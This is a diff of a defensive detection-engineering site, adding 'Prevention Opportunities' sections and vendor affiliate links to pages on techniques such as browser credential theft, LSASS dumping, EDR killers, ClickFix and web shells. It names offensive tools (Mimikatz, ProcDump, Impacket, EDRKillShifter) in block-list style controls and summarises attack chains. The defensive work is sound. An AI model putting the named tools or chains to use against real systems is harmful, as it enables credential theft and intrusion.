<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 3h5v5"/><path d="M8 3H3v5"/><path d="M12 22v-8.3a4 4 0 0 0-1.172-2.872L3 3"/><path d="m15 9 6-6"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">
|
||||
Variations
|
||||
<span class="section-sub">{{ cp.Variations | size }} variant{% if cp.Variations.size != 1 %}s{% endif %} tracked</span>
|
||||
</h2>
|
||||
</div>
|
||||
<p class="section-intro mb-4">Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.</p>
|
||||
|
||||
<div class="variations-list">
|
||||
@@ -1155,8 +1254,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
{% endif %}
|
||||
|
||||
<!-- ── 4. Detection Strategy ─────────────────────────────────── -->
|
||||
<section class="mb-10" id="detection-strategy">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">Detection Strategy</h2>
|
||||
<section class="cp-section-card" id="detection-strategy">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">Detection Strategy</h2>
|
||||
</div>
|
||||
|
||||
{% if cp.Chokepoints and cp.Chokepoints.size > 0 %}
|
||||
{%- comment -%} ── Stage-grouped layout (new) ── {%- endcomment -%}
|
||||
@@ -1496,12 +1600,62 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
</section>
|
||||
|
||||
<!-- ── 5. Raw Log Samples ─────────────────────────────────────── -->
|
||||
<!-- ── Prevention Opportunities ──────────────────────────────────────────── -->
|
||||
{% if cp.PreventionSummary or cp.PreventionOpportunities %}
|
||||
<section class="cp-section-card" id="prevention">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">Prevention Opportunities</h2>
|
||||
</div>
|
||||
{% if cp.PreventionSummary %}
|
||||
<p class="section-intro mb-4">{{ cp.PreventionSummary }}</p>
|
||||
{% endif %}
|
||||
{% if cp.PreventionOpportunities %}
|
||||
<div class="prevention-grid">
|
||||
{% for opp in cp.PreventionOpportunities %}
|
||||
<article class="prev-card">
|
||||
<div class="prev-label">{{ opp.Category }}</div>
|
||||
<h3 class="prev-title">{{ opp.Control }}</h3>
|
||||
<p class="prev-body">{{ opp.Impact }}</p>
|
||||
{% if opp.MagicSwordFit and site.magic_sword_enabled and site.magic_sword_affiliate_url %}
|
||||
<div class="ms-chip">
|
||||
<a href="{{ site.magic_sword_affiliate_url }}"
|
||||
target="_blank" rel="noopener sponsored"
|
||||
title="{{ opp.MagicSwordFit }}">
|
||||
<img src="{{ site.magic_sword_logo_path }}" alt="" class="ms-chip-icon" width="10" height="10" />
|
||||
<span class="ms-chip-label">MagicSword can help here</span>
|
||||
</a>
|
||||
</div>
|
||||
{% endif %}
|
||||
</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% assign ms_opps = "" %}{% for opp in cp.PreventionOpportunities %}{% if opp.MagicSwordFit %}{% assign ms_opps = "yes" %}{% endif %}{% endfor %}
|
||||
{% if site.magic_sword_enabled and site.magic_sword_affiliate_url and ms_opps == "yes" %}
|
||||
<p class="ms-home-card-disclosure mt-3">
|
||||
MagicSword links are affiliate links — we only link tools we'd recommend to defenders.
|
||||
<a href="{{ site.magic_sword_affiliate_url }}" target="_blank" rel="noopener sponsored" class="ms-home-card-link">
|
||||
Learn more about MagicSword →
|
||||
</a>
|
||||
</p>
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
{% if cp.RawLogs %}
|
||||
<section class="mb-10" id="raw-logs">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">
|
||||
Raw Log Samples
|
||||
<span class="section-sub">{{ cp.RawLogs.size }} sample{% if cp.RawLogs.size != 1 %}s{% endif %}</span>
|
||||
</h2>
|
||||
<section class="cp-section-card" id="raw-logs">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">
|
||||
Raw Log Samples
|
||||
<span class="section-sub">{{ cp.RawLogs.size }} sample{% if cp.RawLogs.size != 1 %}s{% endif %}</span>
|
||||
</h2>
|
||||
</div>
|
||||
<p class="section-intro mb-4">Real-world log events produced by this technique and which Sigma rules they trigger.</p>
|
||||
<div class="log-samples">
|
||||
{% for log in cp.RawLogs %}
|
||||
@@ -1521,9 +1675,14 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
|
||||
<!-- ── 6. Emulation ──────────────────────────────────────────── -->
|
||||
{% if cp.EmulationScript and cp._emulation_content %}
|
||||
<section class="mb-10" id="emulation">
|
||||
<section class="cp-section-card" id="emulation">
|
||||
{% assign emu = cp.EmulationScript %}
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-2">Emulation</h2>
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polygon points="13 2 3 14 12 14 11 22 21 10 12 10 13 2"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">Emulation</h2>
|
||||
</div>
|
||||
<details class="emulation-wrapper">
|
||||
<summary class="emulation-header">
|
||||
{% if emu.AtomicRef %}<span class="emulation-attck">ATT&CK: {{ emu.AtomicRef }}</span>{% endif %}
|
||||
@@ -1563,8 +1722,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
|
||||
<!-- ── 7. OSINT Pivots ────────────────────────────────────────── -->
|
||||
{% if cp.OsintSources %}
|
||||
<section class="mb-10" id="osint-pivots">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">OSINT Pivots</h2>
|
||||
<section class="cp-section-card" id="osint-pivots">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">OSINT Pivots</h2>
|
||||
</div>
|
||||
<div class="osint-grid">
|
||||
{% for src in cp.OsintSources %}
|
||||
{% if src.URL %}
|
||||
@@ -1585,8 +1749,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
|
||||
<!-- ── 8. Related Chokepoints ─────────────────────────────────── -->
|
||||
{% if cp.RelatedChokepoints %}
|
||||
<section class="mb-10" id="related">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">Related Chokepoints</h2>
|
||||
<section class="cp-section-card" id="related">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"/><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">Related Chokepoints</h2>
|
||||
</div>
|
||||
<div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-3">
|
||||
{% for slug in cp.RelatedChokepoints %}
|
||||
{% assign related = site.data.chokepoints | where: "_slug", slug | first %}
|
||||
@@ -1604,8 +1773,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
|
||||
<!-- ── References ────────────────────────────────────────────── -->
|
||||
{% if cp.References %}
|
||||
<section class="mb-10">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">References</h2>
|
||||
<section class="cp-section-card">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 19.5A2.5 2.5 0 0 1 6.5 17H20"/><path d="M6.5 2H20v20H6.5A2.5 2.5 0 0 1 4 19.5v-15A2.5 2.5 0 0 1 6.5 2z"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">References</h2>
|
||||
</div>
|
||||
<ul class="ref-list flex flex-col gap-1.5">
|
||||
{% for ref in cp.References %}
|
||||
<li><a href="{{ ref }}" target="_blank" rel="noopener">{{ ref }}</a></li>
|
||||
@@ -1617,6 +1791,8 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
</article>
|
||||
</div>
|
||||
|
||||
</div><!-- /.cp-page-wrap -->
|
||||
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css" />
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/languages/yaml.min.js"></script>
|
||||
|
||||
@@ -39,6 +39,12 @@
|
||||
<a href="https://attack.mitre.org/" target="_blank" rel="noopener">MITRE ATT&CK</a>
|
||||
</span>
|
||||
</div>
|
||||
{% if site.magic_sword_enabled and site.magic_sword_affiliate_url %}
|
||||
<div class="footer-disclosure max-w-[1280px] mx-auto mt-3 px-0" style="font-size:.7rem;color:var(--text-dim);font-style:italic;">
|
||||
Some links on this site (marked with → or labeled MagicSword) are affiliate links.
|
||||
We only link tools we would recommend to defenders regardless of any affiliate relationship.
|
||||
</div>
|
||||
{% endif %}
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
|
||||
@@ -16,7 +16,7 @@ permalink: /attack-chains/
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<div class="max-w-[1280px] mx-auto px-6 py-10">
|
||||
<div style="max-width:1100px;margin:0 auto;padding:2.5rem 1.5rem 4rem;">
|
||||
|
||||
<!-- Section 1: Why Map Attack Chains -->
|
||||
<div class="ac-why-section">
|
||||
|
||||
@@ -779,3 +779,23 @@ EmulationScript:
|
||||
SafetyNotes: Run in an isolated lab VM only. Creates temporary files and outbound network activity.
|
||||
AtomicRef: T1555.003
|
||||
TheConstant: Stealer process → Login Data / logins.json file read → CryptUnprotectData() / NSS3 → C2 exfiltration
|
||||
PreventionSummary: >
|
||||
Prevention focuses on blocking the initial code execution that delivers the stealer and
|
||||
enforcing MFA so stolen credentials cannot be replayed. Controlling which browser extensions
|
||||
are permitted removes a harvesting class that bypasses file-access monitoring entirely.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint
|
||||
Control: Block execution of binaries downloaded to Temp or Downloads directories
|
||||
Impact: Prevents infostealers from running before they touch credential databases; effective
|
||||
regardless of stealer family or App-Bound Encryption bypass technique.
|
||||
- Category: Identity
|
||||
Control: Enforce phishing-resistant MFA (FIDO2 / hardware keys) on all sensitive applications
|
||||
Impact: Stolen passwords and session cookies have limited replay value; removes the primary
|
||||
incentive for credential theft campaigns targeting enterprise accounts.
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Restrict unauthorized browser extensions across your fleet
|
||||
Impact: Eliminates extension-based credential harvesting, which bypasses file-access
|
||||
monitoring entirely and is invisible to most host-based detection telemetry.
|
||||
MagicSwordFit: MagicSword can enforce browser extension allow-lists, blocking unauthorized
|
||||
extensions that harvest credentials directly through the browser's own APIs.
|
||||
MagicSwordTag: browser-extensions
|
||||
|
||||
@@ -895,3 +895,21 @@ RawLogs:
|
||||
'
|
||||
|
||||
TheConstant: A process must open a kernel-mediated handle to lsass.exe and read its virtual memory to extract credential material
|
||||
PreventionSummary: >
|
||||
Credential Guard and Protected Process Light (PPL) protect LSASS at the kernel level,
|
||||
making it significantly harder to read credential material even with admin rights.
|
||||
Enforcing MFA and tiered admin accounts limits the value of credentials that are dumped.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint
|
||||
Control: Enable Windows Credential Guard (VBS-based LSASS protection)
|
||||
Impact: Moves NTLM hashes and Kerberos tickets into an isolated VBS enclave, preventing
|
||||
even SYSTEM-privileged processes from reading them via memory access techniques.
|
||||
- Category: Endpoint
|
||||
Control: Enable LSASS Protected Process Light (PPL) via registry or Defender for Endpoint
|
||||
Impact: Forces attackers to use a signed, kernel-level driver to open an LSASS handle,
|
||||
eliminating most usermode dump tools (Mimikatz, ProcDump, comsvcs.dll MiniDump).
|
||||
- Category: Identity
|
||||
Control: Eliminate plaintext credential exposure — disable WDigest, enforce Kerberos only
|
||||
for sensitive services, and rotate credentials regularly
|
||||
Impact: Reduces the value of dumped hashes; without NTLM or plaintext credentials, pass-
|
||||
the-hash and pass-the-ticket attacks are significantly constrained.
|
||||
|
||||
@@ -423,3 +423,24 @@ References:
|
||||
- https://www.csoonline.com/article/575475/attackers-use-python-compiled-bytecode-to-evade-detection.html
|
||||
|
||||
TheConstant: Non-default interpreter binary written to disk → interpreter process launched → attacker-controlled script executes malicious action
|
||||
PreventionSummary: >
|
||||
Controlling which scripting interpreters are permitted to execute on endpoints breaks the
|
||||
BYOSI chain before attacker-controlled scripts have a chance to run. Non-default interpreters
|
||||
written to TEMP or AppData paths are a reliable pre-execution signal to block.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Allow-list only approved interpreter versions for each endpoint role
|
||||
Impact: Prevents malicious scripts from executing even when the interpreter binary is
|
||||
legitimately signed, because only authorized interpreter paths and versions are permitted.
|
||||
MagicSwordFit: MagicSword's application control can block non-approved Python, Node.js,
|
||||
PHP, and AutoHotKey binaries — especially those written to non-standard paths like TEMP
|
||||
or AppData — before they execute any scripts.
|
||||
MagicSwordTag: lolbas
|
||||
- Category: Endpoint
|
||||
Control: Alert on interpreter binaries written to TEMP, Downloads, or AppData by non-IT processes
|
||||
Impact: Catches the disk-write chokepoint before execution; gives defenders a pre-execution
|
||||
window to investigate and kill the chain.
|
||||
- Category: Network
|
||||
Control: Block interpreter downloads from CDNs on non-developer endpoints via web proxy
|
||||
Impact: Prevents delivery of non-standard interpreters to high-risk endpoints; forces
|
||||
attackers to use other staging mechanisms that are easier to detect.
|
||||
|
||||
@@ -654,3 +654,27 @@ EmulationScript:
|
||||
'
|
||||
AtomicRef: T1562.001
|
||||
TheConstant: Admin/SYSTEM privileges → bypass mechanism → security telemetry impaired
|
||||
PreventionSummary: >
|
||||
EDR bypass tools are themselves dual-use binaries that can be blocked before they reach the
|
||||
security stack. Blocking vulnerable driver loads and known EDR-killer binaries at the policy
|
||||
layer is the complementary control that EDR cannot provide for itself.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Block known EDR-killer binaries by name, hash, and publisher signature
|
||||
Impact: Prevents bypass tools from executing regardless of which EDR is being targeted;
|
||||
does not rely on the security tool the attacker is trying to disable.
|
||||
MagicSwordFit: MagicSword's built-in intelligence classifies and blocks EDR-killer binaries
|
||||
as they are identified, including EDRKillShifter, PCHunter, and ProcessHacker variants
|
||||
used as LOLBAS in bypass chains.
|
||||
MagicSwordTag: edr-killers
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Enforce HVCI and Microsoft's Vulnerable Driver Blocklist to block BYOVD attacks
|
||||
Impact: Removes the kernel escalation path that the majority of BYOVD-based EDR killers
|
||||
depend on; no vulnerable driver = no kernel-level bypass.
|
||||
MagicSwordFit: MagicSword tracks vulnerable driver publishers and can block driver loads
|
||||
from untrusted or revoked signers before they reach the kernel.
|
||||
MagicSwordTag: byovd
|
||||
- Category: Endpoint
|
||||
Control: Deploy Windows Credential Guard and Virtualization-Based Security (VBS)
|
||||
Impact: Reduces the kernel attack surface available to BYOVD techniques without requiring
|
||||
per-driver blocklist maintenance; hardens the platform beneath the EDR stack.
|
||||
|
||||
@@ -370,3 +370,24 @@ EmulationScript:
|
||||
SafetyNotes: Requires Administrator. Creates dummy test services. Optionally targets VSS. Lab VM only.
|
||||
AtomicRef: T1562.001
|
||||
TheConstant: SYSTEM-level process → service enumeration → bulk service stop/delete → encryption begins
|
||||
PreventionSummary: >
|
||||
Ransomware's pre-encryption kill phase relies on a small set of well-known binaries to stop
|
||||
security and backup services. Application control can block or alert on these tools before
|
||||
they succeed, buying defenders critical response time before encryption begins.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Restrict which processes may invoke service stop/delete commands
|
||||
Impact: Blocks or delays the pre-encryption kill phase; even a short delay gives defenders
|
||||
time to intervene before files are encrypted.
|
||||
MagicSwordFit: MagicSword's Spawn Control rules restrict which parent processes can invoke
|
||||
service-manipulation binaries (sc.exe, net.exe, taskkill.exe), blocking ransomware kill
|
||||
scripts without affecting legitimate IT workflows.
|
||||
MagicSwordTag: lolbas
|
||||
- Category: Endpoint
|
||||
Control: Enable Tamper Protection on your EDR/AV and all security tools
|
||||
Impact: Prevents security services from being stopped even by processes running as SYSTEM,
|
||||
preserving visibility at the point when it matters most.
|
||||
- Category: Backup
|
||||
Control: Enforce immutable, offline-separated backups and restrict vssadmin access
|
||||
Impact: Preserves recovery options even if ransomware completes its kill list; removes the
|
||||
business leverage that makes ransom payment attractive.
|
||||
|
||||
@@ -687,3 +687,27 @@ EmulationScript:
|
||||
SafetyNotes: Run in isolated lab VM only. Makes a benign outbound HTTP request to example.com.
|
||||
AtomicRef: T1204.004
|
||||
TheConstant: Clipboard write → user pastes into interpreter → outbound C2 connection
|
||||
PreventionSummary: >
|
||||
ClickFix works because browsers can write to the clipboard and users can run whatever is
|
||||
pasted into them. Restricting which interpreters browsers are permitted to spawn limits
|
||||
damage when users fall for the lure, even without blocking the lure page itself.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Block scripting interpreters (mshta.exe, wscript.exe, powershell.exe, cscript.exe)
|
||||
spawned by browsers or shell processes on standard user workstations
|
||||
Impact: Breaks the ClickFix chain at interpreter spawn — even if the user pastes and
|
||||
executes the command, no interpreter is permitted to run.
|
||||
MagicSwordFit: MagicSword's Spawn Control rules restrict which child processes browsers
|
||||
are permitted to spawn, blocking clipboard-delivered payloads without breaking
|
||||
legitimate browser behavior.
|
||||
MagicSwordTag: lolbas
|
||||
- Category: Endpoint
|
||||
Control: Restrict Run dialog execution and enforce PowerShell Constrained Language Mode
|
||||
on standard user workstations
|
||||
Impact: Raises the bar for successful clipboard payload execution without a secondary
|
||||
privilege escalation step.
|
||||
- Category: Network
|
||||
Control: Deploy DNS filtering to block newly-registered domains and known ClickFix
|
||||
distribution infrastructure before the lure page loads
|
||||
Impact: Prevents the malicious page from loading and writing to the clipboard in the
|
||||
first place; effective at stopping commodity campaigns that rely on fresh domain churn.
|
||||
|
||||
@@ -678,3 +678,25 @@ EmulationScript:
|
||||
SafetyNotes: Run in isolated lab VM only. Uses a benign Windows binary renamed to a campaign filename.
|
||||
AtomicRef: T1219.002
|
||||
TheConstant: Browser download → renamed signed binary execution → persistent RMM C2 connection
|
||||
PreventionSummary: >
|
||||
Restricting which RMM tools are permitted to run on endpoints breaks the C2 persistence phase
|
||||
before it starts. Signer-based and inventory-based allow rules catch renamed binaries that
|
||||
bypass filename controls, because the vendor signature is preserved regardless of the filename.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Block RMM tools not on your authorized inventory
|
||||
Impact: Stops C2 session establishment regardless of which tool or rename trick is used.
|
||||
MagicSwordFit: MagicSword maintains a live, threat-intelligence-backed inventory of 100+ RMM tools
|
||||
and blocks unauthorized ones by default — updated every 2 hours as new tools are weaponized.
|
||||
MagicSwordTag: rmm-abuse
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Enforce signer-based allow rules for remote access software
|
||||
Impact: Catches binaries renamed to appear as invoices or installers, because the original vendor
|
||||
signature is preserved and verifiable regardless of the filename.
|
||||
MagicSwordFit: MagicSword's signer-based policy blocks any RMM binary not explicitly approved,
|
||||
even when renamed or placed in an unexpected path.
|
||||
MagicSwordTag: rmm-abuse
|
||||
- Category: Network
|
||||
Control: Alert on new outbound connections to unlisted RMM infrastructure domains
|
||||
Impact: Contains C2 persistence even if the binary executes past endpoint controls; limits the
|
||||
attacker's ability to maintain access after the initial session.
|
||||
|
||||
@@ -455,3 +455,24 @@ EmulationScript:
|
||||
SafetyNotes: Requires Administrator. All activity targets localhost only. Run in isolated lab VM.
|
||||
AtomicRef: T1021.002
|
||||
TheConstant: Valid admin credentials → authenticated protocol (SMB/WMI/WinRM) → remote command execution
|
||||
PreventionSummary: >
|
||||
Valid credentials alone are not sufficient if the offensive tools that use them are blocked.
|
||||
Restricting dual-use admin utilities (PsExec, Impacket, NetExec) from executing on endpoints
|
||||
prevents lateral movement even when an attacker has valid admin credentials.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Block dual-use offensive tools from executing on workstations and servers
|
||||
Impact: Prevents lateral movement even when the attacker holds valid admin credentials — the
|
||||
tools themselves become the chokepoint that is blocked.
|
||||
MagicSwordFit: MagicSword's LOLBAS / dual-use controls block offensive admin tools
|
||||
(Impacket, NetExec, PsExec, CrackMapExec) by default, with policy tuned to allow only
|
||||
what your teams legitimately need.
|
||||
MagicSwordTag: lolbas
|
||||
- Category: Identity
|
||||
Control: Enforce tiered admin accounts with MFA and eliminate standing admin access
|
||||
Impact: Valid credentials are harder to obtain and reuse across the network; removes the
|
||||
"credentials = immediate access" assumption.
|
||||
- Category: Network
|
||||
Control: Segment workstation-to-workstation SMB (445/TCP) and WMI (135/TCP) traffic
|
||||
Impact: Blocks the lateral movement protocols at the network layer even if tools execute,
|
||||
limiting the blast radius of any single compromised host.
|
||||
|
||||
@@ -599,3 +599,23 @@ EmulationScript:
|
||||
SafetyNotes: Run in isolated lab VM only. Creates a text file (not executable) in a test web directory.
|
||||
AtomicRef: T1505.003
|
||||
TheConstant: HTTP request → web server process → child OS interpreter
|
||||
PreventionSummary: >
|
||||
Web shells persist because web server processes are permitted to write files to their own
|
||||
directories and spawn child OS interpreters. Restricting those two behaviors eliminates the
|
||||
chokepoint regardless of the vulnerability used for initial access.
|
||||
PreventionOpportunities:
|
||||
- Category: Endpoint · Application Control
|
||||
Control: Restrict web server processes from spawning OS interpreters as child processes
|
||||
Impact: Eliminates the primary web shell execution chokepoint; even if a shell file is
|
||||
written to disk, it cannot spawn interactive processes.
|
||||
MagicSwordFit: MagicSword's Spawn Control rules enforce which child processes web server
|
||||
processes (IIS, Apache, nginx) are permitted to execute, blocking OS interpreter spawns.
|
||||
MagicSwordTag: lolbas
|
||||
- Category: Endpoint
|
||||
Control: Apply strict filesystem write restrictions to web-accessible directories
|
||||
Impact: Prevents shell files from being written to directories served by the web server;
|
||||
eliminates the delivery mechanism regardless of which vulnerability is exploited.
|
||||
- Category: Network
|
||||
Control: Deploy a Web Application Firewall (WAF) with rules for shell upload patterns
|
||||
Impact: Provides a network-layer control that can block web shell uploads before they
|
||||
reach the server, complementing host-based restrictions.
|
||||
|
||||
+29
-12
@@ -8,9 +8,8 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
/* ── Hero ── */
|
||||
.hero {
|
||||
position: relative;
|
||||
padding: 4rem 1.5rem 3rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
background: linear-gradient(160deg, var(--bg) 0%, var(--bg-card) 50%, var(--bg) 100%);
|
||||
padding: 5.5rem 1.5rem 5rem;
|
||||
background: var(--bg);
|
||||
overflow: hidden;
|
||||
text-align: center;
|
||||
}
|
||||
@@ -18,18 +17,30 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
content: "";
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse 60% 50% at 50% 0%, rgba(240,136,62,.12) 0%, transparent 70%);
|
||||
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
|
||||
pointer-events: none;
|
||||
}
|
||||
.hero-inner { max-width: 720px; margin: 0 auto; position: relative; }
|
||||
.hero h1 { font-size: 2.25rem; font-weight: 700; margin-bottom: 0.75rem; }
|
||||
.hero .subtitle { font-size: 1.1rem; color: var(--text-muted); line-height: 1.7; margin: 0 auto; }
|
||||
.hero::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
bottom: 0; left: 0; right: 0;
|
||||
height: 1px;
|
||||
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
|
||||
}
|
||||
.hero-inner { max-width: 680px; margin: 0 auto; position: relative; }
|
||||
.hero h1 { font-size: 2.75rem; font-weight: 800; letter-spacing: -.02em; margin-bottom: 0.75rem; }
|
||||
.hero .subtitle { font-size: 1rem; color: var(--text-muted); max-width: 580px; line-height: 1.8; margin: 0 auto; }
|
||||
|
||||
/* ── Section containers ── */
|
||||
.fw-content { max-width: var(--max-w); margin: 0 auto; padding: 0 1.5rem; }
|
||||
.fw-content { max-width: 1100px; margin: 0 auto; padding: 0 1.5rem; }
|
||||
.fw-section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
|
||||
.fw-section:last-child { border-bottom: none; }
|
||||
.fw-section h2 { font-size: 1.5rem; font-weight: 700; margin-bottom: 1.5rem; }
|
||||
.fw-section h2 {
|
||||
font-size: 1.5rem; font-weight: 700; margin-bottom: 1.5rem;
|
||||
border-bottom: 1px solid transparent;
|
||||
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
|
||||
padding-bottom: .4rem;
|
||||
}
|
||||
|
||||
/* ── Step cards ── */
|
||||
.steps-grid {
|
||||
@@ -41,12 +52,13 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
.step-card {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: var(--radius-lg); padding: 1.5rem; position: relative;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s, transform 0.2s;
|
||||
cursor: pointer;
|
||||
display: flex; flex-direction: column;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.step-card:hover { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
||||
.step-card.active { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); background: var(--bg-card-hover); }
|
||||
.step-card:hover { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,0.25); transform: translateY(-1px); }
|
||||
.step-card.active { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,0.25); background: var(--bg-card-hover); }
|
||||
.step-num {
|
||||
display: inline-flex; align-items: center; justify-content: center;
|
||||
width: 32px; height: 32px; border-radius: 50%;
|
||||
@@ -70,6 +82,7 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
border-radius: var(--radius-lg);
|
||||
display: none;
|
||||
position: relative;
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,0.2), 0 8px 24px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
#step-detail-panel.visible { display: block; }
|
||||
#step-detail-panel .detail-close {
|
||||
@@ -94,6 +107,7 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
.maturity-card {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: var(--radius-lg); padding: 1.5rem; position: relative; overflow: hidden;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.maturity-card::before {
|
||||
content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 4px;
|
||||
@@ -122,6 +136,7 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
.compare-card {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: var(--radius-lg); padding: 1.5rem;
|
||||
